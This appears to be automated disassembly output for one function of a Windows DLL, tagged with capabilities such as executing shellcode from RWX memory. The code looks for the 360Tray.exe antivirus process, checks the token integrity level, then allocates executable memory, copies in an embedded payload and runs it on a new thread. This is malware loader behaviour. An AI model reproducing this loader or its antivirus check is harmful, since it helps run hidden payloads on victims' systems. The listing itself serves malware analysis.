Function at 0x180009810
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x388]
sub rsp, 0x488
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005244
xor edx, edx
lea rcx, [rbp + 0x144]
mov r8d, 0x234
call fcn.18000d1b0
lea rdx, [rbp + 0x140]
mov dword [rbp + 0x140], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000523b
nop dword [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x16c]
call fcn.180015778
mov rcx, rbx
test eax, eax
je 0x180005257
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005210
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180004870
add rsp, 0x488
pop rbx
pop rbp
jmp 0x180009810
mov qword [rsp + 0x4b0], rsi
mov qword [rsp + 0x480], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3c
call fcn.18000ab7c
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, rsi
call fcn.1800017e0
xor edx, edx
lea rcx, [rsp + 0x34]
mov r8d, 0x118
xor edi, edi
call fcn.18000d1b0
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x18000539c
cmp dword [rsp + 0x40], 2
jne 0x18000539c
cmp dword [rsp + 0x34], 5
jbe 0x18000539c
mov qword [rbp + 0x3a8], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x3a8]
lea edx, [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000539c
mov rcx, qword [rbp + 0x3a8]
lea rax, [rbp + 0x3a0]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x3a0], edi
lea edx, [rdi + 0x19]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x18000538f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x18000538f
mov edx, dword [rbp + 0x3a0]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x18000538f
mov r9d, dword [rbp + 0x3a0]
lea rax, [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3a8]
lea edx, [rdi + 0x19]
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x180005386
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rbx]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov edi, dword [rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.18000ab38
mov rsi, qword [rsp + 0x4b0]
cmp edi, 0x3000
mov rdi, qword [rsp + 0x480]
jne 0x1800053df
call fcn.180004870
call fcn.180004f30
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x488
pop rbx
pop rbp
jmp 0x180009810
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rsp + 0x30]
mov edx, 0x104
lea r8, str.59__s
lea rcx, [rbp + 0x140]
call fcn.1800026f0
lea rcx, [rbp + 0x140]
call fcn.1800019d0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x488
pop rbx
pop rbp
ret
push rbx
sub rsp, 0x30
xor ecx, ecx
mov edx, 0x28a8d1
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180009855
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Failed_to_allocate_memory_for_shellcode.
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_MessageBoxA]
mov r8d, 0x28a8d1
mov qword [rsp + 0x40], rdi
lea rdx, [0x1802b7730]
mov rcx, rbx
call fcn.18000cae0
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x1800098ae
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Failed_to_create_thread_for_shellcode.
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1800098c5
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
mov rdi, qword [rsp + 0x40]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]